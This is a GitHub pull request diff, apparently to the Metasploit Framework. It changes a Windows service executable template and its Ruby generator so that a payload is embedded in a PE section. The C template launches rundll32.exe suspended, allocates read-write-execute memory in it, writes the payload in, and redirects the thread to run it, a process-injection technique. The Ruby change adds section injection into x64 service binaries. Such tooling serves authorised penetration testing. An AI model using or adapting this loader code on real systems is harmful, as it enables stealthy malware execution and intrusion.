Skip to content
Draft
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
73 changes: 65 additions & 8 deletions data/templates/src/pe/exe_service/template.c
Original file line number Diff line number Diff line change
Expand Up @@ -2,15 +2,63 @@
#include <windows.h>

#define SCSIZE 8192
#define MAX_SECTION_NAME_SIZE 9

char cServiceName[32] = "SERVICENAME";

char bPayload[SCSIZE] = "PAYLOAD:";
char bSectionName[MAX_SECTION_NAME_SIZE] = "SECTION:";

typedef struct {
// short is 2 bytes, long is 4 bytes
WORD signature;
WORD lastsize;
WORD nblocks;
WORD nreloc;
WORD hdrsize;
WORD minalloc;
WORD maxalloc;
WORD ss;
WORD sp;
WORD checksum;
WORD ip;
WORD cs;
WORD relocpos;
WORD noverlay;
WORD reserved1[4];
WORD oem_id;
WORD oem_info;
WORD reserved2[10];
DWORD e_lfanew;
} DOS_HEADER, *PDOS_HEADER;

SERVICE_STATUS ss;

SERVICE_STATUS_HANDLE hStatus = NULL;

PIMAGE_SECTION_HEADER SectionHeaderFromName(PDOS_HEADER pDosHeader, PVOID pName) {
// Retrieve the section header for the specified name.
//
// PDOS_HEADER pDosHeader: A pointer to the associated DOS header.
// PVOID pName: A pointer to the section header name to retrieve.
// Returns: A pointer to the section header or NULL if it could not be
// found.
PIMAGE_NT_HEADERS pImgNtHeaders = NULL;
PIMAGE_SECTION_HEADER pImgSecHeader = NULL;
PIMAGE_SECTION_HEADER pImgSecHeaderCursor = NULL;
DWORD dwCursor = 0;

pImgNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)pDosHeader + pDosHeader->e_lfanew);
pImgSecHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)pImgNtHeaders + sizeof(IMAGE_NT_HEADERS));
for (dwCursor = 0; dwCursor < pImgNtHeaders->FileHeader.NumberOfSections; dwCursor++) {
pImgSecHeaderCursor = &pImgSecHeader[dwCursor];
if (memcmp(pImgSecHeaderCursor->Name, pName, 8)) {
continue;
}
return pImgSecHeaderCursor;
}
return NULL;
}

#if BUILDMODE == 2
/* hand-rolled bzero allows us to avoid including ms vc runtime */
void inline_bzero(void *p, size_t l)
Expand Down Expand Up @@ -44,12 +92,14 @@ VOID ServiceMain( DWORD dwNumServicesArgs, LPSTR * lpServiceArgVectors )
CONTEXT Context;
STARTUPINFO si;
PROCESS_INFORMATION pi;
LPVOID lpPayload = NULL;
void *lpPayload = bPayload;
unsigned int dwPayloadSize = SCSIZE;

#if BUILDMODE == 2
inline_bzero( &ss, sizeof(SERVICE_STATUS) );
inline_bzero( &si, sizeof(STARTUPINFO) );
inline_bzero( &pi, sizeof(PROCESS_INFORMATION) );

#endif
si.cb = sizeof(STARTUPINFO);

ss.dwServiceType = SERVICE_WIN32_SHARE_PROCESS;
Expand All @@ -64,23 +114,30 @@ VOID ServiceMain( DWORD dwNumServicesArgs, LPSTR * lpServiceArgVectors )
{
ss.dwCurrentState = SERVICE_RUNNING;

PDOS_HEADER lpBaseAddress = (PDOS_HEADER) GetModuleHandleA(NULL);
SetServiceStatus( hStatus, &ss );

PIMAGE_SECTION_HEADER section;
section = SectionHeaderFromName((PDOS_HEADER) GetModuleHandleA(NULL), bSectionName);
if(section) {
lpPayload = lpBaseAddress + section->VirtualAddress;
dwPayloadSize = section->SizeOfRawData;
}
if( CreateProcess( NULL, "rundll32.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi ) )
{
Context.ContextFlags = CONTEXT_FULL;

GetThreadContext( pi.hThread, &Context );

lpPayload = VirtualAllocEx( pi.hProcess, NULL, SCSIZE, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE );
lpPayload = VirtualAllocEx( pi.hProcess, NULL, dwPayloadSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE );
if( lpPayload )
{
WriteProcessMemory( pi.hProcess, lpPayload, &bPayload, SCSIZE, NULL );
#ifdef _WIN64
WriteProcessMemory( pi.hProcess, lpPayload, &bPayload, dwPayloadSize, NULL );
#ifdef _WIN64
Context.Rip = (ULONG_PTR)lpPayload;
#else
#else
Context.Eip = (ULONG_PTR)lpPayload;
#endif
#endif
SetThreadContext( pi.hThread, &Context );
}

Expand Down
21 changes: 20 additions & 1 deletion lib/msf/util/exe.rb
Original file line number Diff line number Diff line change
Expand Up @@ -693,7 +693,26 @@ def self.to_win64pe_service(framework, code, opts = {})
# Allow the user to specify their own service EXE template
set_template_default(opts, "template_x64_windows_svc.exe")
opts[:exe_type] = :service_exe
exe_sub_method(code,opts)
# Try to inject code into executable by adding a section without affecting executable behavior
if opts[:inject]
injector = Msf::Exe::SegmentInjector.new({
:payload => code,
:template => opts[:template],
:arch => :x64,
:secname => opts[:secname]
})
pe = injector.generate_pe
else
# Append a new section instead
appender = Msf::Exe::SegmentAppender.new({
:payload => code,
:template => opts[:template],
:arch => :x64,
:secname => opts[:secname]
})
pe = appender.generate_pe
end
return pe
end

# self.set_template_default_winpe_dll
Expand Down